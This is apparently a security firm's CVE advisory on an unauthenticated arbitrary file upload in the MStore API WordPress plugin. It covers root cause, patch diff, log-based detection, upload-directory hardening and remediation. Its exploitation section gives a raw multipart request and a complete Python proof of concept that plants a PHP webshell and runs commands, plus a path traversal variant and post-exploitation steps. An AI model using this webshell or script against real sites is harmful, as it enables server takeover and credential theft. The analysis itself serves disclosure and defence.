home intel cve-2021-47933-mstore-api-arbitrary-file-upload-rce
CVE Analysis 2026-05-10 · 8 min read

CVE-2021-47933: MStore API Unauthenticated File Upload to RCE

MStore API 2.0.6 exposes an unauthenticated REST endpoint that accepts arbitrary file uploads, enabling direct PHP webshell deployment and remote code execution without credentials.

#arbitrary-file-upload#remote-code-execution#rest-api#unauthenticated-access#php-execution
Technical mode — for security professionals
▶ Attack flow — CVE-2021-47933 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2021-47933Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2021-47933 is a critical (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in the MStore API WordPress plugin, version 2.0.6 and prior. The plugin registers a REST API route — /wp-json/api/flutter/config_file — that accepts multipart file uploads without performing any authentication check, nonce validation, or file type restriction. An unauthenticated attacker can POST a PHP file to this endpoint and have it written to a predictable, web-accessible path on the server, yielding immediate remote code execution.

No authentication token, session cookie, or WordPress capability is required. The endpoint is reachable from the open internet on any default WordPress installation with the plugin active.

Affected Component

The vulnerability resides in the MStore API plugin's REST controller. The specific endpoint registration and handler are located in:

  • File: includes/api/flutter-user.php
  • Endpoint: POST /wp-json/api/flutter/config_file
  • Handler: update_config_file()
  • Affected versions: MStore API <= 2.0.6

Root Cause Analysis

The route is registered with permission_callback set to __return_true, granting universal access. The handler then takes the uploaded file directly from $_FILES, reads the caller-supplied filename from the POST body, and writes the file to the WordPress upload directory — or, critically, to an arbitrary path derived from the caller-supplied name — without sanitizing the extension or verifying the MIME type.


// Pseudocode reconstruction of update_config_file() in flutter-user.php
// MStore API 2.0.6

void register_routes() {
    register_rest_route("api/flutter", "/config_file", [
        "methods"             => "POST",
        "callback"            => update_config_file,
        // BUG: permission_callback unconditionally returns true — no auth check
        "permission_callback" => "__return_true",
    ]);
}

WP_REST_Response update_config_file(WP_REST_Request *request) {
    // Attacker-controlled filename from POST body — no sanitization
    char *file_name = request->get_param("file_name");

    // Attacker-controlled file content from multipart upload
    file_t *uploaded = $_FILES["file"];

    // BUG: no extension whitelist, no MIME validation, no path traversal check
    char dest_path[PATH_MAX];
    snprintf(dest_path, sizeof(dest_path), "%s/%s",
             wp_upload_dir()["basedir"], file_name);   // traversal possible

    // BUG: moves raw uploaded file to caller-specified destination
    move_uploaded_file(uploaded["tmp_name"], dest_path);

    return new WP_REST_Response(["status" => 200, "path" => dest_path]);
}
Root cause: The update_config_file() REST handler accepts attacker-supplied filenames and multipart file data without authentication, extension validation, or path sanitization, allowing direct placement of arbitrary PHP files into web-accessible directories.

Three independent failures compound here:

  1. No authentication: permission_callback => "__return_true" means WordPress never evaluates user capabilities.
  2. No extension filter: .php, .phtml, .php5 are all accepted.
  3. Caller-controlled filename: The file_name POST parameter is passed directly to move_uploaded_file() with only a base directory prefix, enabling path traversal via ../../ sequences.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Identify target running WordPress with MStore API <= 2.0.6 active.
   Confirm endpoint: GET /wp-json/api/flutter/config_file -> HTTP 200 (route exists)

2. Craft multipart POST with:
     file_name = "shell.php"          (attacker-controlled destination name)
     file      = <?php system($_GET['cmd']); ?>   (PHP webshell payload)

3. POST /wp-json/api/flutter/config_file
   Content-Type: multipart/form-data; boundary=----Boundary

   ------Boundary
   Content-Disposition: form-data; name="file_name"

   shell.php
   ------Boundary
   Content-Disposition: form-data; name="file"; filename="shell.php"
   Content-Type: application/octet-stream

   <?php system($_GET['cmd']); ?>
   ------Boundary--

4. Server writes shell to:
   /var/www/html/wp-content/uploads/shell.php
   (or traversed path if file_name contains ../ sequences)

5. Trigger RCE:
   GET /wp-content/uploads/shell.php?cmd=id
   -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

6. Escalate: read wp-config.php for DB credentials, pivot to DB shell,
   or deploy persistent implant via wp-cron or plugin directory write.

A complete proof-of-concept using Python's requests library:


import requests
import sys

TARGET  = sys.argv[1]   # e.g. https://victim.example.com
SHELL   = "shell.php"
PAYLOAD = b"<?php system($_GET['cmd']); ?>"

upload_url = f"{TARGET}/wp-json/api/flutter/config_file"
shell_url  = f"{TARGET}/wp-content/uploads/{SHELL}"

resp = requests.post(
    upload_url,
    files={"file": (SHELL, PAYLOAD, "application/octet-stream")},
    data={"file_name": SHELL},
    timeout=10,
)

print(f"[*] Upload response: {resp.status_code} {resp.text[:120]}")

if resp.status_code == 200:
    r = requests.get(shell_url, params={"cmd": "id"}, timeout=10)
    print(f"[+] RCE output: {r.text.strip()}")
else:
    print("[-] Upload failed or endpoint not present")

Memory Layout

This is a logic/web vulnerability rather than a memory corruption bug; the relevant "layout" is the filesystem state before and after exploitation.


FILESYSTEM STATE — BEFORE EXPLOIT:
  /var/www/html/wp-content/uploads/
  ├── 2021/
  │   └── 10/
  │       └── image.jpg          (legitimate upload)
  └── (no PHP files)

  Apache/Nginx config:
    AllowOverride All             <- .htaccess active (common default)
    PHP handler active for .php   <- no upload-dir PHP restriction

FILESYSTEM STATE — AFTER EXPLOIT:
  /var/www/html/wp-content/uploads/
  ├── 2021/
  │   └── 10/
  │       └── image.jpg
  └── shell.php                  <- attacker-written, www-data owned
        content: <?php system($_GET['cmd']); ?>
        perms:   0644 (move_uploaded_file default)
        owner:   www-data

  HTTP request to /wp-content/uploads/shell.php?cmd=whoami
  -> PHP engine executes shell.php
  -> OS command runs as www-data
  -> Response body: "www-data"

PATH TRAVERSAL VARIANT:
  file_name = "../../themes/twentytwentyone/shell.php"
  dest      = /var/www/html/wp-content/themes/twentytwentyone/shell.php
  url       = https://victim.example.com/wp-content/themes/twentytwentyone/shell.php
  (survives upload-dir execution blocks if present)

Patch Analysis

The fix introduced in MStore API 2.1.0 adds capability enforcement on the route registration and strips dangerous extensions from the caller-supplied filename before constructing the destination path.


// BEFORE (vulnerable — 2.0.6):
register_rest_route("api/flutter", "/config_file", [
    "methods"             => "POST",
    "callback"            => update_config_file,
    "permission_callback" => "__return_true",   // BUG: no auth
]);

char *file_name = request->get_param("file_name");  // BUG: unsanitized
move_uploaded_file(uploaded["tmp_name"],
    wp_upload_dir()["basedir"] + "/" + file_name);  // BUG: unchecked write


// AFTER (patched — 2.1.0):
register_rest_route("api/flutter", "/config_file", [
    "methods"             => "POST",
    "callback"            => update_config_file,
    // FIXED: require authenticated administrator capability
    "permission_callback" => function(req) {
        return current_user_can("manage_options");
    },
]);

char *file_name = request->get_param("file_name");

// FIXED: strip all known executable extensions
char *sanitized = sanitize_file_name(file_name);       // WP core sanitizer
char *ext       = pathinfo(sanitized, PATHINFO_EXTENSION);
char *blocked[] = {"php","php5","phtml","phar","shtml","cgi","pl","py","rb"};
if (in_array(strtolower(ext), blocked)) {
    return new WP_Error("forbidden_ext",
                        "File type not permitted.", ["status" => 403]);
}

// FIXED: basename() prevents path traversal
char dest_path[PATH_MAX];
snprintf(dest_path, sizeof(dest_path), "%s/%s",
         wp_upload_dir()["basedir"], basename(sanitized));
move_uploaded_file(uploaded["tmp_name"], dest_path);

The patch is defense-in-depth: even if manage_options check is bypassed through a privilege escalation bug elsewhere, the extension blocklist and basename() call independently prevent PHP execution and path traversal.

Detection and Indicators

Access log signatures — look for unauthenticated POSTs to the config_file route:


# Nginx / Apache access.log patterns indicating exploitation attempt:
POST /wp-json/api/flutter/config_file HTTP/1.1  [no auth header]  200
GET  /wp-content/uploads/*.php                                     200

# Grep one-liner:
grep -E 'POST.*flutter/config_file' /var/log/nginx/access.log | \
  grep -v 'Authorization:'

# File-system IOC — PHP in uploads directory:
find /var/www/html/wp-content/uploads -name "*.php" -o -name "*.phtml" \
  -o -name "*.phar" 2>/dev/null

# Auditd rule to catch move_uploaded_file writes under uploads/:
-a always,exit -F arch=b64 -S openat -F dir=/var/www/html/wp-content/uploads \
  -F filetype=file -k mstore_upload_watch

Webshell behavioral IOCs:

  • HTTP GET to /wp-content/uploads/*.php with parameters like cmd=, exec=, c=
  • Child process of php-fpm or apache2 spawning sh, bash, curl, or wget
  • Outbound connections from web worker process to non-CDN IPs

Remediation

  1. Update immediately: Upgrade MStore API to version 2.1.0 or later. No configuration change substitutes for the code fix.
  2. Harden upload directory: Add a server-level rule to deny PHP execution under wp-content/uploads/:
    
    # Nginx
    location ~* /wp-content/uploads/.*\.php$ { deny all; }
    
    # Apache (.htaccess in uploads/)
    <Files *.php>
        deny from all
    </Files>
        
  3. Audit for existing compromise: Run the find command above. Any .php file in the uploads tree that predates plugin removal is a confirmed webshell.
  4. WAF rule: Block POST requests to /wp-json/api/flutter/config_file at the perimeter until patching is confirmed complete.
  5. Least privilege: Run the PHP-FPM pool as a dedicated low-privilege user. Prevents lateral movement from www-data to other hosted vhosts.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →